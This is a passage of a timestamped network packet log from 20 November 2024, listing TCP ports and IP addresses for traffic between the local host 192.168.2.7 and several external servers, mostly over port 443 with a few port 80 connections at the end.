Nov 20, 2024 23:12:33.341181040 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.341308117 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.341404915 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.341404915 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.341454029 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.341485023 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.345484018 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.345521927 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.345613003 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.345844030 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.345865011 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.363393068 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.363497019 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.363555908 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.363890886 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.363904953 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.363913059 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.363918066 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.375787020 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.375827074 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.375895023 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.376308918 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.376324892 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.389321089 CET	49703	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:33.389816046 CET	49744	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:33.389844894 CET	443	49744	104.98.116.138	192.168.2.7
Nov 20, 2024 23:12:33.389909983 CET	49744	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:33.391766071 CET	49744	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:33.391776085 CET	443	49744	104.98.116.138	192.168.2.7
Nov 20, 2024 23:12:33.456119061 CET	443	49737	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.456285000 CET	443	49737	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.456352949 CET	49737	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.456437111 CET	49737	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.456459999 CET	443	49737	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.456484079 CET	49737	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.456491947 CET	443	49737	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.459249020 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.459286928 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.459362030 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.459562063 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.459579945 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.477416992 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 23:12:33.509325981 CET	443	49703	104.98.116.138	192.168.2.7
Nov 20, 2024 23:12:33.566567898 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.566622019 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.566648006 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.566680908 CET	49733	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.566725969 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.566788912 CET	49733	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.573230028 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.576657057 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.576720953 CET	49733	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.577029943 CET	49733	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.577059031 CET	443	49733	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.670938015 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.671073914 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.671165943 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.671209097 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.671222925 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.671416044 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.671425104 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.686635017 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.686674118 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.686815023 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.686826944 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.686949968 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.695449114 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.695504904 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.695858002 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.695898056 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.695898056 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.695920944 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.695930958 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.698386908 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.698410988 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.698581934 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.699784040 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.699796915 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.701642036 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.704958916 CET	443	49731	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.705307007 CET	443	49731	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.705560923 CET	49731	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.707461119 CET	49731	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.707473993 CET	443	49731	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.709518909 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.709614038 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.709625959 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.752391100 CET	443	49738	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.752542019 CET	443	49738	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.752830982 CET	49738	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.752830982 CET	49738	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.752830982 CET	49738	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.755769968 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.755800009 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.756022930 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.756709099 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:33.756722927 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:33.758913994 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.790801048 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.839812994 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.860296011 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.875428915 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.875565052 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.875581026 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.884865999 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.884948969 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.884959936 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.890503883 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.891108036 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.891118050 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.902714968 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.903266907 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.903280973 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.918873072 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.919143915 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.919156075 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.935075998 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.935453892 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.935466051 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.948884964 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.951967955 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.951987982 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.962706089 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.962980986 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.962991953 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.979738951 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.979932070 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.979943037 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.986320972 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.986552000 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:33.986562014 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:33.999947071 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.000202894 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.000212908 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.055392981 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.055392981 CET	49738	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:34.055416107 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.055438042 CET	443	49738	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:34.072948933 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.073123932 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.073137045 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.082879066 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.082925081 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.083331108 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.083340883 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.083512068 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.089518070 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.096306086 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.096349955 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.096462011 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.096472979 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.096729994 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.100773096 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.106583118 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.106703043 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.106713057 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.114842892 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.114957094 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.115087986 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.115098000 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.115262985 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.125961065 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.137130022 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.137257099 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.137262106 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.137279987 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.137379885 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.148221970 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.159702063 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.159796953 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.159837961 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.159852028 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.159979105 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.169941902 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.180696964 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.180751085 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.180810928 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.180824995 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.181260109 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.190711975 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.200836897 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.200882912 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.200921059 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.200931072 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.201178074 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.210299969 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.219396114 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.219444990 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.219499111 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.219507933 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.219877958 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.228432894 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.237107038 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.237149000 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.237217903 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.237226009 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.237617970 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.237993002 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.247701883 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.248105049 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.248112917 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.258029938 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.258217096 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.258225918 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.261670113 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.261863947 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.261871099 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.274076939 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.274233103 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.274240971 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.275454998 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.275655031 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.275661945 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.280338049 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.280494928 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.280502081 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.284259081 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.284426928 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.284435034 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.289716005 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.289936066 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.289942980 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.295274019 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.295593977 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.295600891 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.300580025 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.300796986 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.300806999 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.304831028 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.304975033 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.304985046 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.310642958 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.310851097 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.314203978 CET	49732	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:34.314218998 CET	443	49732	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:34.757880926 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:34.757960081 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:34.762469053 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:34.762485027 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:34.762808084 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:34.805619001 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:35.091649055 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.092125893 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.092149973 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.092694998 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.092700958 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.129481077 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.130419970 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.130451918 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.131369114 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.131373882 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.213320017 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:35.213354111 CET	443	49753	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:35.213447094 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:35.213735104 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:35.213745117 CET	443	49753	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:35.307311058 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.308003902 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.308022022 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.308481932 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.308490038 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.505239010 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.508044004 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.508069992 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.508608103 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.508615017 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.525644064 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.525708914 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.525789976 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.525918961 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.525969028 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.526042938 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.526053905 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.528955936 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.529011965 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.529083014 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.529257059 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.529277086 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.579688072 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.579757929 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.579807997 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.579993963 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.580007076 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.580024958 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.580030918 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.582521915 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.582546949 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.582607031 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.582720995 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.582735062 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.617422104 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.618424892 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.618424892 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.618449926 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.618460894 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.633749962 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:35.633785009 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:35.633897066 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:35.634922981 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:35.634937048 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:35.762418032 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.762608051 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.762790918 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.762790918 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.762859106 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.762883902 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.765656948 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.765707016 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.765988111 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.765988111 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.766025066 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.952126026 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.952197075 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.952481031 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.952481031 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.952522993 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.952542067 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.955460072 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.955553055 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:35.955795050 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.955795050 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:35.955873013 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.081938982 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.082106113 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.082238913 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:36.082592964 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:36.082592964 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:36.082617044 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.082631111 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.085551977 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:36.085592985 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.085751057 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:36.085947990 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:36.085963964 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:36.485846043 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:36.531332016 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:36.788578033 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:36.788837910 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:36.908165932 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:36.908350945 CET	80	49763	185.215.113.206	192.168.2.7
